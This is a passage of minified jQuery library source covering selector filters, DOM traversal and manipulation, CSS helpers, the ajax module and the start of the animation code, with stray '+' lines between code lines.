setFilters:{first:function(g,h){return h===0},last:function(g,h,l,m){return h===m.length-1},even:function(g,h){return h%2===0},odd:function(g,h){return h%2===1},lt:function(g,h,l){return h<l[3]-0},gt:function(g,h,l){return h>l[3]-0},nth:function(g,h,l){return l[3]-0===h},eq:function(g,h,l){return l[3]-0===h}},filter:{PSEUDO:function(g,h,l,m){var q=h[1],p=n.filters[q];if(p)return p(g,l,h,m);else if(q==="contains")return(g.textContent||g.innerText||a([g])||"").indexOf(h[3])>=0;else if(q==="not"){h=
+
h[3];l=0;for(m=h.length;l<m;l++)if(h[l]===g)return false;return true}else k.error("Syntax error, unrecognized expression: "+q)},CHILD:function(g,h){var l=h[1],m=g;switch(l){case "only":case "first":for(;m=m.previousSibling;)if(m.nodeType===1)return false;if(l==="first")return true;m=g;case "last":for(;m=m.nextSibling;)if(m.nodeType===1)return false;return true;case "nth":l=h[2];var q=h[3];if(l===1&&q===0)return true;h=h[0];var p=g.parentNode;if(p&&(p.sizcache!==h||!g.nodeIndex)){var v=0;for(m=p.firstChild;m;m=
+
m.nextSibling)if(m.nodeType===1)m.nodeIndex=++v;p.sizcache=h}g=g.nodeIndex-q;return l===0?g===0:g%l===0&&g/l>=0}},ID:function(g,h){return g.nodeType===1&&g.getAttribute("id")===h},TAG:function(g,h){return h==="*"&&g.nodeType===1||g.nodeName.toLowerCase()===h},CLASS:function(g,h){return(" "+(g.className||g.getAttribute("class"))+" ").indexOf(h)>-1},ATTR:function(g,h){var l=h[1];g=n.attrHandle[l]?n.attrHandle[l](g):g[l]!=null?g[l]:g.getAttribute(l);l=g+"";var m=h[2];h=h[4];return g==null?m==="!=":m===
+
"="?l===h:m==="*="?l.indexOf(h)>=0:m==="~="?(" "+l+" ").indexOf(h)>=0:!h?l&&g!==false:m==="!="?l!==h:m==="^="?l.indexOf(h)===0:m==="$="?l.substr(l.length-h.length)===h:m==="|="?l===h||l.substr(0,h.length+1)===h+"-":false},POS:function(g,h,l,m){var q=n.setFilters[h[2]];if(q)return q(g,l,h,m)}}},r=n.match.POS;for(var u in n.match){n.match[u]=new RegExp(n.match[u].source+/(?![^\[]*\])(?![^\(]*\))/.source);n.leftMatch[u]=new RegExp(/(^(?:.|\r|\n)*?)/.source+n.match[u].source.replace(/\\(\d+)/g,function(g,
+
h){return"\\"+(h-0+1)}))}var z=function(g,h){g=Array.prototype.slice.call(g,0);if(h){h.push.apply(h,g);return h}return g};try{Array.prototype.slice.call(s.documentElement.childNodes,0)}catch(C){z=function(g,h){h=h||[];if(j.call(g)==="[object Array]")Array.prototype.push.apply(h,g);else if(typeof g.length==="number")for(var l=0,m=g.length;l<m;l++)h.push(g[l]);else for(l=0;g[l];l++)h.push(g[l]);return h}}var B;if(s.documentElement.compareDocumentPosition)B=function(g,h){if(!g.compareDocumentPosition||
+
!h.compareDocumentPosition){if(g==h)i=true;return g.compareDocumentPosition?-1:1}g=g.compareDocumentPosition(h)&4?-1:g===h?0:1;if(g===0)i=true;return g};else if("sourceIndex"in s.documentElement)B=function(g,h){if(!g.sourceIndex||!h.sourceIndex){if(g==h)i=true;return g.sourceIndex?-1:1}g=g.sourceIndex-h.sourceIndex;if(g===0)i=true;return g};else if(s.createRange)B=function(g,h){if(!g.ownerDocument||!h.ownerDocument){if(g==h)i=true;return g.ownerDocument?-1:1}var l=g.ownerDocument.createRange(),m=
+
h.ownerDocument.createRange();l.setStart(g,0);l.setEnd(g,0);m.setStart(h,0);m.setEnd(h,0);g=l.compareBoundaryPoints(Range.START_TO_END,m);if(g===0)i=true;return g};(function(){var g=s.createElement("div"),h="script"+(new Date).getTime();g.innerHTML="<a name='"+h+"'/>";var l=s.documentElement;l.insertBefore(g,l.firstChild);if(s.getElementById(h)){n.find.ID=function(m,q,p){if(typeof q.getElementById!=="undefined"&&!p)return(q=q.getElementById(m[1]))?q.id===m[1]||typeof q.getAttributeNode!=="undefined"&&
+
q.getAttributeNode("id").nodeValue===m[1]?[q]:w:[]};n.filter.ID=function(m,q){var p=typeof m.getAttributeNode!=="undefined"&&m.getAttributeNode("id");return m.nodeType===1&&p&&p.nodeValue===q}}l.removeChild(g);l=g=null})();(function(){var g=s.createElement("div");g.appendChild(s.createComment(""));if(g.getElementsByTagName("*").length>0)n.find.TAG=function(h,l){l=l.getElementsByTagName(h[1]);if(h[1]==="*"){h=[];for(var m=0;l[m];m++)l[m].nodeType===1&&h.push(l[m]);l=h}return l};g.innerHTML="<a href='#'></a>";
+
if(g.firstChild&&typeof g.firstChild.getAttribute!=="undefined"&&g.firstChild.getAttribute("href")!=="#")n.attrHandle.href=function(h){return h.getAttribute("href",2)};g=null})();s.querySelectorAll&&function(){var g=k,h=s.createElement("div");h.innerHTML="<p class='TEST'></p>";if(!(h.querySelectorAll&&h.querySelectorAll(".TEST").length===0)){k=function(m,q,p,v){q=q||s;if(!v&&q.nodeType===9&&!x(q))try{return z(q.querySelectorAll(m),p)}catch(t){}return g(m,q,p,v)};for(var l in g)k[l]=g[l];h=null}}();
+
(function(){var g=s.createElement("div");g.innerHTML="<div class='test e'></div><div class='test'></div>";if(!(!g.getElementsByClassName||g.getElementsByClassName("e").length===0)){g.lastChild.className="e";if(g.getElementsByClassName("e").length!==1){n.order.splice(1,0,"CLASS");n.find.CLASS=function(h,l,m){if(typeof l.getElementsByClassName!=="undefined"&&!m)return l.getElementsByClassName(h[1])};g=null}}})();var E=s.compareDocumentPosition?function(g,h){return!!(g.compareDocumentPosition(h)&16)}:
+
function(g,h){return g!==h&&(g.contains?g.contains(h):true)},x=function(g){return(g=(g?g.ownerDocument||g:0).documentElement)?g.nodeName!=="HTML":false},ga=function(g,h){var l=[],m="",q;for(h=h.nodeType?[h]:h;q=n.match.PSEUDO.exec(g);){m+=q[0];g=g.replace(n.match.PSEUDO,"")}g=n.relative[g]?g+"*":g;q=0;for(var p=h.length;q<p;q++)k(g,h[q],l);return k.filter(m,l)};c.find=k;c.expr=k.selectors;c.expr[":"]=c.expr.filters;c.unique=k.uniqueSort;c.text=a;c.isXMLDoc=x;c.contains=E})();var eb=/Until$/,fb=/^(?:parents|prevUntil|prevAll)/,
+
gb=/,/;R=Array.prototype.slice;var Ia=function(a,b,d){if(c.isFunction(b))return c.grep(a,function(e,j){return!!b.call(e,j,e)===d});else if(b.nodeType)return c.grep(a,function(e){return e===b===d});else if(typeof b==="string"){var f=c.grep(a,function(e){return e.nodeType===1});if(Ua.test(b))return c.filter(b,f,!d);else b=c.filter(b,f)}return c.grep(a,function(e){return c.inArray(e,b)>=0===d})};c.fn.extend({find:function(a){for(var b=this.pushStack("","find",a),d=0,f=0,e=this.length;f<e;f++){d=b.length;
+
c.find(a,this[f],b);if(f>0)for(var j=d;j<b.length;j++)for(var i=0;i<d;i++)if(b[i]===b[j]){b.splice(j--,1);break}}return b},has:function(a){var b=c(a);return this.filter(function(){for(var d=0,f=b.length;d<f;d++)if(c.contains(this,b[d]))return true})},not:function(a){return this.pushStack(Ia(this,a,false),"not",a)},filter:function(a){return this.pushStack(Ia(this,a,true),"filter",a)},is:function(a){return!!a&&c.filter(a,this).length>0},closest:function(a,b){if(c.isArray(a)){var d=[],f=this[0],e,j=
+
{},i;if(f&&a.length){e=0;for(var o=a.length;e<o;e++){i=a[e];j[i]||(j[i]=c.expr.match.POS.test(i)?c(i,b||this.context):i)}for(;f&&f.ownerDocument&&f!==b;){for(i in j){e=j[i];if(e.jquery?e.index(f)>-1:c(f).is(e)){d.push({selector:i,elem:f});delete j[i]}}f=f.parentNode}}return d}var k=c.expr.match.POS.test(a)?c(a,b||this.context):null;return this.map(function(n,r){for(;r&&r.ownerDocument&&r!==b;){if(k?k.index(r)>-1:c(r).is(a))return r;r=r.parentNode}return null})},index:function(a){if(!a||typeof a===
+
"string")return c.inArray(this[0],a?c(a):this.parent().children());return c.inArray(a.jquery?a[0]:a,this)},add:function(a,b){a=typeof a==="string"?c(a,b||this.context):c.makeArray(a);b=c.merge(this.get(),a);return this.pushStack(qa(a[0])||qa(b[0])?b:c.unique(b))},andSelf:function(){return this.add(this.prevObject)}});c.each({parent:function(a){return(a=a.parentNode)&&a.nodeType!==11?a:null},parents:function(a){return c.dir(a,"parentNode")},parentsUntil:function(a,b,d){return c.dir(a,"parentNode",
+
d)},next:function(a){return c.nth(a,2,"nextSibling")},prev:function(a){return c.nth(a,2,"previousSibling")},nextAll:function(a){return c.dir(a,"nextSibling")},prevAll:function(a){return c.dir(a,"previousSibling")},nextUntil:function(a,b,d){return c.dir(a,"nextSibling",d)},prevUntil:function(a,b,d){return c.dir(a,"previousSibling",d)},siblings:function(a){return c.sibling(a.parentNode.firstChild,a)},children:function(a){return c.sibling(a.firstChild)},contents:function(a){return c.nodeName(a,"iframe")?
+
a.contentDocument||a.contentWindow.document:c.makeArray(a.childNodes)}},function(a,b){c.fn[a]=function(d,f){var e=c.map(this,b,d);eb.test(a)||(f=d);if(f&&typeof f==="string")e=c.filter(f,e);e=this.length>1?c.unique(e):e;if((this.length>1||gb.test(f))&&fb.test(a))e=e.reverse();return this.pushStack(e,a,R.call(arguments).join(","))}});c.extend({filter:function(a,b,d){if(d)a=":not("+a+")";return c.find.matches(a,b)},dir:function(a,b,d){var f=[];for(a=a[b];a&&a.nodeType!==9&&(d===w||a.nodeType!==1||!c(a).is(d));){a.nodeType===
+
1&&f.push(a);a=a[b]}return f},nth:function(a,b,d){b=b||1;for(var f=0;a;a=a[d])if(a.nodeType===1&&++f===b)break;return a},sibling:function(a,b){for(var d=[];a;a=a.nextSibling)a.nodeType===1&&a!==b&&d.push(a);return d}});var Ja=/ jQuery\d+="(?:\d+|null)"/g,V=/^\s+/,Ka=/(<([\w:]+)[^>]*?)\/>/g,hb=/^(?:area|br|col|embed|hr|img|input|link|meta|param)$/i,La=/<([\w:]+)/,ib=/<tbody/i,jb=/<|&#?\w+;/,ta=/<script|<object|<embed|<option|<style/i,ua=/checked\s*(?:[^=]|=\s*.checked.)/i,Ma=function(a,b,d){return hb.test(d)?
+
a:b+"></"+d+">"},F={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]};F.optgroup=F.option;F.tbody=F.tfoot=F.colgroup=F.caption=F.thead;F.th=F.td;if(!c.support.htmlSerialize)F._default=[1,"div<div>","</div>"];c.fn.extend({text:function(a){if(c.isFunction(a))return this.each(function(b){var d=
+
c(this);d.text(a.call(this,b,d.text()))});if(typeof a!=="object"&&a!==w)return this.empty().append((this[0]&&this[0].ownerDocument||s).createTextNode(a));return c.text(this)},wrapAll:function(a){if(c.isFunction(a))return this.each(function(d){c(this).wrapAll(a.call(this,d))});if(this[0]){var b=c(a,this[0].ownerDocument).eq(0).clone(true);this[0].parentNode&&b.insertBefore(this[0]);b.map(function(){for(var d=this;d.firstChild&&d.firstChild.nodeType===1;)d=d.firstChild;return d}).append(this)}return this},
+
wrapInner:function(a){if(c.isFunction(a))return this.each(function(b){c(this).wrapInner(a.call(this,b))});return this.each(function(){var b=c(this),d=b.contents();d.length?d.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){c(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){c.nodeName(this,"body")||c(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.appendChild(a)})},
+
prepend:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,this)});else if(arguments.length){var a=c(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,
+
this.nextSibling)});else if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,c(arguments[0]).toArray());return a}},remove:function(a,b){for(var d=0,f;(f=this[d])!=null;d++)if(!a||c.filter(a,[f]).length){if(!b&&f.nodeType===1){c.cleanData(f.getElementsByTagName("*"));c.cleanData([f])}f.parentNode&&f.parentNode.removeChild(f)}return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++)for(b.nodeType===1&&c.cleanData(b.getElementsByTagName("*"));b.firstChild;)b.removeChild(b.firstChild);
+
return this},clone:function(a){var b=this.map(function(){if(!c.support.noCloneEvent&&!c.isXMLDoc(this)){var d=this.outerHTML,f=this.ownerDocument;if(!d){d=f.createElement("div");d.appendChild(this.cloneNode(true));d=d.innerHTML}return c.clean([d.replace(Ja,"").replace(/=([^="'>\s]+\/)>/g,'="$1">').replace(V,"")],f)[0]}else return this.cloneNode(true)});if(a===true){ra(this,b);ra(this.find("*"),b.find("*"))}return b},html:function(a){if(a===w)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(Ja,
+
""):null;else if(typeof a==="string"&&!ta.test(a)&&(c.support.leadingWhitespace||!V.test(a))&&!F[(La.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Ka,Ma);try{for(var b=0,d=this.length;b<d;b++)if(this[b].nodeType===1){c.cleanData(this[b].getElementsByTagName("*"));this[b].innerHTML=a}}catch(f){this.empty().append(a)}}else c.isFunction(a)?this.each(function(e){var j=c(this),i=j.html();j.empty().append(function(){return a.call(this,e,i)})}):this.empty().append(a);return this},replaceWith:function(a){if(this[0]&&
+
this[0].parentNode){if(c.isFunction(a))return this.each(function(b){var d=c(this),f=d.html();d.replaceWith(a.call(this,b,f))});if(typeof a!=="string")a=c(a).detach();return this.each(function(){var b=this.nextSibling,d=this.parentNode;c(this).remove();b?c(b).before(a):c(d).append(a)})}else return this.pushStack(c(c.isFunction(a)?a():a),"replaceWith",a)},detach:function(a){return this.remove(a,true)},domManip:function(a,b,d){function f(u){return c.nodeName(u,"table")?u.getElementsByTagName("tbody")[0]||
+
u.appendChild(u.ownerDocument.createElement("tbody")):u}var e,j,i=a[0],o=[],k;if(!c.support.checkClone&&arguments.length===3&&typeof i==="string"&&ua.test(i))return this.each(function(){c(this).domManip(a,b,d,true)});if(c.isFunction(i))return this.each(function(u){var z=c(this);a[0]=i.call(this,u,b?z.html():w);z.domManip(a,b,d)});if(this[0]){e=i&&i.parentNode;e=c.support.parentNode&&e&&e.nodeType===11&&e.childNodes.length===this.length?{fragment:e}:sa(a,this,o);k=e.fragment;if(j=k.childNodes.length===
+
1?(k=k.firstChild):k.firstChild){b=b&&c.nodeName(j,"tr");for(var n=0,r=this.length;n<r;n++)d.call(b?f(this[n],j):this[n],n>0||e.cacheable||this.length>1?k.cloneNode(true):k)}o.length&&c.each(o,Qa)}return this}});c.fragments={};c.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){c.fn[a]=function(d){var f=[];d=c(d);var e=this.length===1&&this[0].parentNode;if(e&&e.nodeType===11&&e.childNodes.length===1&&d.length===1){d[b](this[0]);
+
return this}else{e=0;for(var j=d.length;e<j;e++){var i=(e>0?this.clone(true):this).get();c.fn[b].apply(c(d[e]),i);f=f.concat(i)}return this.pushStack(f,a,d.selector)}}});c.extend({clean:function(a,b,d,f){b=b||s;if(typeof b.createElement==="undefined")b=b.ownerDocument||b[0]&&b[0].ownerDocument||s;for(var e=[],j=0,i;(i=a[j])!=null;j++){if(typeof i==="number")i+="";if(i){if(typeof i==="string"&&!jb.test(i))i=b.createTextNode(i);else if(typeof i==="string"){i=i.replace(Ka,Ma);var o=(La.exec(i)||["",
+
""])[1].toLowerCase(),k=F[o]||F._default,n=k[0],r=b.createElement("div");for(r.innerHTML=k[1]+i+k[2];n--;)r=r.lastChild;if(!c.support.tbody){n=ib.test(i);o=o==="table"&&!n?r.firstChild&&r.firstChild.childNodes:k[1]==="<table>"&&!n?r.childNodes:[];for(k=o.length-1;k>=0;--k)c.nodeName(o[k],"tbody")&&!o[k].childNodes.length&&o[k].parentNode.removeChild(o[k])}!c.support.leadingWhitespace&&V.test(i)&&r.insertBefore(b.createTextNode(V.exec(i)[0]),r.firstChild);i=r.childNodes}if(i.nodeType)e.push(i);else e=
+
c.merge(e,i)}}if(d)for(j=0;e[j];j++)if(f&&c.nodeName(e[j],"script")&&(!e[j].type||e[j].type.toLowerCase()==="text/javascript"))f.push(e[j].parentNode?e[j].parentNode.removeChild(e[j]):e[j]);else{e[j].nodeType===1&&e.splice.apply(e,[j+1,0].concat(c.makeArray(e[j].getElementsByTagName("script"))));d.appendChild(e[j])}return e},cleanData:function(a){for(var b,d,f=c.cache,e=c.event.special,j=c.support.deleteExpando,i=0,o;(o=a[i])!=null;i++)if(d=o[c.expando]){b=f[d];if(b.events)for(var k in b.events)e[k]?
+
c.event.remove(o,k):Ca(o,k,b.handle);if(j)delete o[c.expando];else o.removeAttribute&&o.removeAttribute(c.expando);delete f[d]}}});var kb=/z-?index|font-?weight|opacity|zoom|line-?height/i,Na=/alpha\([^)]*\)/,Oa=/opacity=([^)]*)/,ha=/float/i,ia=/-([a-z])/ig,lb=/([A-Z])/g,mb=/^-?\d+(?:px)?$/i,nb=/^-?\d/,ob={position:"absolute",visibility:"hidden",display:"block"},pb=["Left","Right"],qb=["Top","Bottom"],rb=s.defaultView&&s.defaultView.getComputedStyle,Pa=c.support.cssFloat?"cssFloat":"styleFloat",ja=
+
function(a,b){return b.toUpperCase()};c.fn.css=function(a,b){return X(this,a,b,true,function(d,f,e){if(e===w)return c.curCSS(d,f);if(typeof e==="number"&&!kb.test(f))e+="px";c.style(d,f,e)})};c.extend({style:function(a,b,d){if(!a||a.nodeType===3||a.nodeType===8)return w;if((b==="width"||b==="height")&&parseFloat(d)<0)d=w;var f=a.style||a,e=d!==w;if(!c.support.opacity&&b==="opacity"){if(e){f.zoom=1;b=parseInt(d,10)+""==="NaN"?"":"alpha(opacity="+d*100+")";a=f.filter||c.curCSS(a,"filter")||"";f.filter=
+
Na.test(a)?a.replace(Na,b):b}return f.filter&&f.filter.indexOf("opacity=")>=0?parseFloat(Oa.exec(f.filter)[1])/100+"":""}if(ha.test(b))b=Pa;b=b.replace(ia,ja);if(e)f[b]=d;return f[b]},css:function(a,b,d,f){if(b==="width"||b==="height"){var e,j=b==="width"?pb:qb;function i(){e=b==="width"?a.offsetWidth:a.offsetHeight;f!=="border"&&c.each(j,function(){f||(e-=parseFloat(c.curCSS(a,"padding"+this,true))||0);if(f==="margin")e+=parseFloat(c.curCSS(a,"margin"+this,true))||0;else e-=parseFloat(c.curCSS(a,
+
"border"+this+"Width",true))||0})}a.offsetWidth!==0?i():c.swap(a,ob,i);return Math.max(0,Math.round(e))}return c.curCSS(a,b,d)},curCSS:function(a,b,d){var f,e=a.style;if(!c.support.opacity&&b==="opacity"&&a.currentStyle){f=Oa.test(a.currentStyle.filter||"")?parseFloat(RegExp.$1)/100+"":"";return f===""?"1":f}if(ha.test(b))b=Pa;if(!d&&e&&e[b])f=e[b];else if(rb){if(ha.test(b))b="float";b=b.replace(lb,"-$1").toLowerCase();e=a.ownerDocument.defaultView;if(!e)return null;if(a=e.getComputedStyle(a,null))f=
+
a.getPropertyValue(b);if(b==="opacity"&&f==="")f="1"}else if(a.currentStyle){d=b.replace(ia,ja);f=a.currentStyle[b]||a.currentStyle[d];if(!mb.test(f)&&nb.test(f)){b=e.left;var j=a.runtimeStyle.left;a.runtimeStyle.left=a.currentStyle.left;e.left=d==="fontSize"?"1em":f||0;f=e.pixelLeft+"px";e.left=b;a.runtimeStyle.left=j}}return f},swap:function(a,b,d){var f={};for(var e in b){f[e]=a.style[e];a.style[e]=b[e]}d.call(a);for(e in b)a.style[e]=f[e]}});if(c.expr&&c.expr.filters){c.expr.filters.hidden=function(a){var b=
+
a.offsetWidth,d=a.offsetHeight,f=a.nodeName.toLowerCase()==="tr";return b===0&&d===0&&!f?true:b>0&&d>0&&!f?false:c.curCSS(a,"display")==="none"};c.expr.filters.visible=function(a){return!c.expr.filters.hidden(a)}}var sb=J(),tb=/<script(.|\s)*?\/script>/gi,ub=/select|textarea/i,vb=/color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week/i,N=/=\?(&|$)/,ka=/\?/,wb=/(\?|&)_=.*?(&|$)/,xb=/^(\w+:)?\/\/([^\/?#]+)/,yb=/%20/g,zb=c.fn.load;c.fn.extend({load:function(a,b,d){if(typeof a!==
+
"string")return zb.call(this,a);else if(!this.length)return this;var f=a.indexOf(" ");if(f>=0){var e=a.slice(f,a.length);a=a.slice(0,f)}f="GET";if(b)if(c.isFunction(b)){d=b;b=null}else if(typeof b==="object"){b=c.param(b,c.ajaxSettings.traditional);f="POST"}var j=this;c.ajax({url:a,type:f,dataType:"html",data:b,complete:function(i,o){if(o==="success"||o==="notmodified")j.html(e?c("<div />").append(i.responseText.replace(tb,"")).find(e):i.responseText);d&&j.each(d,[i.responseText,o,i])}});return this},
+
serialize:function(){return c.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?c.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||ub.test(this.nodeName)||vb.test(this.type))}).map(function(a,b){a=c(this).val();return a==null?null:c.isArray(a)?c.map(a,function(d){return{name:b.name,value:d}}):{name:b.name,value:a}}).get()}});c.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),
+
function(a,b){c.fn[b]=function(d){return this.bind(b,d)}});c.extend({get:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b=null}return c.ajax({type:"GET",url:a,data:b,success:d,dataType:f})},getScript:function(a,b){return c.get(a,null,b,"script")},getJSON:function(a,b,d){return c.get(a,b,d,"json")},post:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b={}}return c.ajax({type:"POST",url:a,data:b,success:d,dataType:f})},ajaxSetup:function(a){c.extend(c.ajaxSettings,a)},ajaxSettings:{url:location.href,
+
global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:A.XMLHttpRequest&&(A.location.protocol!=="file:"||!A.ActiveXObject)?function(){return new A.XMLHttpRequest}:function(){try{return new A.ActiveXObject("Microsoft.XMLHTTP")}catch(a){}},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},etag:{},ajax:function(a){function b(){e.success&&
+
e.success.call(k,o,i,x);e.global&&f("ajaxSuccess",[x,e])}function d(){e.complete&&e.complete.call(k,x,i);e.global&&f("ajaxComplete",[x,e]);e.global&&!--c.active&&c.event.trigger("ajaxStop")}function f(q,p){(e.context?c(e.context):c.event).trigger(q,p)}var e=c.extend(true,{},c.ajaxSettings,a),j,i,o,k=a&&a.context||e,n=e.type.toUpperCase();if(e.data&&e.processData&&typeof e.data!=="string")e.data=c.param(e.data,e.traditional);if(e.dataType==="jsonp"){if(n==="GET")N.test(e.url)||(e.url+=(ka.test(e.url)?
+
"&":"?")+(e.jsonp||"callback")+"=?");else if(!e.data||!N.test(e.data))e.data=(e.data?e.data+"&":"")+(e.jsonp||"callback")+"=?";e.dataType="json"}if(e.dataType==="json"&&(e.data&&N.test(e.data)||N.test(e.url))){j=e.jsonpCallback||"jsonp"+sb++;if(e.data)e.data=(e.data+"").replace(N,"="+j+"$1");e.url=e.url.replace(N,"="+j+"$1");e.dataType="script";A[j]=A[j]||function(q){o=q;b();d();A[j]=w;try{delete A[j]}catch(p){}z&&z.removeChild(C)}}if(e.dataType==="script"&&e.cache===null)e.cache=false;if(e.cache===
+
false&&n==="GET"){var r=J(),u=e.url.replace(wb,"$1_="+r+"$2");e.url=u+(u===e.url?(ka.test(e.url)?"&":"?")+"_="+r:"")}if(e.data&&n==="GET")e.url+=(ka.test(e.url)?"&":"?")+e.data;e.global&&!c.active++&&c.event.trigger("ajaxStart");r=(r=xb.exec(e.url))&&(r[1]&&r[1]!==location.protocol||r[2]!==location.host);if(e.dataType==="script"&&n==="GET"&&r){var z=s.getElementsByTagName("head")[0]||s.documentElement,C=s.createElement("script");C.src=e.url;if(e.scriptCharset)C.charset=e.scriptCharset;if(!j){var B=
+
false;C.onload=C.onreadystatechange=function(){if(!B&&(!this.readyState||this.readyState==="loaded"||this.readyState==="complete")){B=true;b();d();C.onload=C.onreadystatechange=null;z&&C.parentNode&&z.removeChild(C)}}}z.insertBefore(C,z.firstChild);return w}var E=false,x=e.xhr();if(x){e.username?x.open(n,e.url,e.async,e.username,e.password):x.open(n,e.url,e.async);try{if(e.data||a&&a.contentType)x.setRequestHeader("Content-Type",e.contentType);if(e.ifModified){c.lastModified[e.url]&&x.setRequestHeader("If-Modified-Since",
+
c.lastModified[e.url]);c.etag[e.url]&&x.setRequestHeader("If-None-Match",c.etag[e.url])}r||x.setRequestHeader("X-Requested-With","XMLHttpRequest");x.setRequestHeader("Accept",e.dataType&&e.accepts[e.dataType]?e.accepts[e.dataType]+", */*":e.accepts._default)}catch(ga){}if(e.beforeSend&&e.beforeSend.call(k,x,e)===false){e.global&&!--c.active&&c.event.trigger("ajaxStop");x.abort();return false}e.global&&f("ajaxSend",[x,e]);var g=x.onreadystatechange=function(q){if(!x||x.readyState===0||q==="abort"){E||
+
d();E=true;if(x)x.onreadystatechange=c.noop}else if(!E&&x&&(x.readyState===4||q==="timeout")){E=true;x.onreadystatechange=c.noop;i=q==="timeout"?"timeout":!c.httpSuccess(x)?"error":e.ifModified&&c.httpNotModified(x,e.url)?"notmodified":"success";var p;if(i==="success")try{o=c.httpData(x,e.dataType,e)}catch(v){i="parsererror";p=v}if(i==="success"||i==="notmodified")j||b();else c.handleError(e,x,i,p);d();q==="timeout"&&x.abort();if(e.async)x=null}};try{var h=x.abort;x.abort=function(){x&&h.call(x);
+
g("abort")}}catch(l){}e.async&&e.timeout>0&&setTimeout(function(){x&&!E&&g("timeout")},e.timeout);try{x.send(n==="POST"||n==="PUT"||n==="DELETE"?e.data:null)}catch(m){c.handleError(e,x,null,m);d()}e.async||g();return x}},handleError:function(a,b,d,f){if(a.error)a.error.call(a.context||a,b,d,f);if(a.global)(a.context?c(a.context):c.event).trigger("ajaxError",[b,a,f])},active:0,httpSuccess:function(a){try{return!a.status&&location.protocol==="file:"||a.status>=200&&a.status<300||a.status===304||a.status===
+
1223||a.status===0}catch(b){}return false},httpNotModified:function(a,b){var d=a.getResponseHeader("Last-Modified"),f=a.getResponseHeader("Etag");if(d)c.lastModified[b]=d;if(f)c.etag[b]=f;return a.status===304||a.status===0},httpData:function(a,b,d){var f=a.getResponseHeader("content-type")||"",e=b==="xml"||!b&&f.indexOf("xml")>=0;a=e?a.responseXML:a.responseText;e&&a.documentElement.nodeName==="parsererror"&&c.error("parsererror");if(d&&d.dataFilter)a=d.dataFilter(a,b);if(typeof a==="string")if(b===
+
"json"||!b&&f.indexOf("json")>=0)a=c.parseJSON(a);else if(b==="script"||!b&&f.indexOf("javascript")>=0)c.globalEval(a);return a},param:function(a,b){function d(i,o){if(c.isArray(o))c.each(o,function(k,n){b||/\[\]$/.test(i)?f(i,n):d(i+"["+(typeof n==="object"||c.isArray(n)?k:"")+"]",n)});else!b&&o!=null&&typeof o==="object"?c.each(o,function(k,n){d(i+"["+k+"]",n)}):f(i,o)}function f(i,o){o=c.isFunction(o)?o():o;e[e.length]=encodeURIComponent(i)+"="+encodeURIComponent(o)}var e=[];if(b===w)b=c.ajaxSettings.traditional;
+
if(c.isArray(a)||a.jquery)c.each(a,function(){f(this.name,this.value)});else for(var j in a)d(j,a[j]);return e.join("&").replace(yb,"+")}});var la={},Ab=/toggle|show|hide/,Bb=/^([+-]=)?([\d+-.]+)(.*)$/,W,va=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];c.fn.extend({show:function(a,b){if(a||a===0)return this.animate(K("show",3),a,b);else{a=0;for(b=this.length;a<b;a++){var d=c.data(this[a],"olddisplay");
+
this[a].style.display=d||"";if(c.css(this[a],"display")==="none"){d=this[a].nodeName;var f;if(la[d])f=la[d];else{var e=c("<"+d+" />").appendTo("body");f=e.css("display");if(f==="none")f="block";e.remove();la[d]=f}c.data(this[a],"olddisplay",f)}}a=0;for(b=this.length;a<b;a++)this[a].style.display=c.data(this[a],"olddisplay")||"";return this}},hide:function(a,b){if(a||a===0)return this.animate(K("hide",3),a,b);else{a=0;for(b=this.length;a<b;a++){var d=c.data(this[a],"olddisplay");!d&&d!=="none"&&c.data(this[a],
+
"olddisplay",c.css(this[a],"display"))}a=0;for(b=this.length;a<b;a++)this[a].style.display="none";return this}},_toggle:c.fn.toggle,toggle:function(a,b){var d=typeof a==="boolean";if(c.isFunction(a)&&c.isFunction(b))this._toggle.apply(this,arguments);else a==null||d?this.each(function(){var f=d?a:c(this).is(":hidden");c(this)[f?"show":"hide"]()}):this.animate(K("toggle",3),a,b);return this},fadeTo:function(a,b,d){return this.filter(":hidden").css("opacity",0).show().end().animate({opacity:b},a,d)},
+
animate:function(a,b,d,f){var e=c.speed(b,d,f);if(c.isEmptyObject(a))return this.each(e.complete);return this[e.queue===false?"each":"queue"](function(){var j=c.extend({},e),i,o=this.nodeType===1&&c(this).is(":hidden"),k=this;for(i in a){var n=i.replace(ia,ja);if(i!==n){a[n]=a[i];delete a[i];i=n}if(a[i]==="hide"&&o||a[i]==="show"&&!o)return j.complete.call(this);if((i==="height"||i==="width")&&this.style){j.display=c.css(this,"display");j.overflow=this.style.overflow}if(c.isArray(a[i])){(j.specialEasing=
+
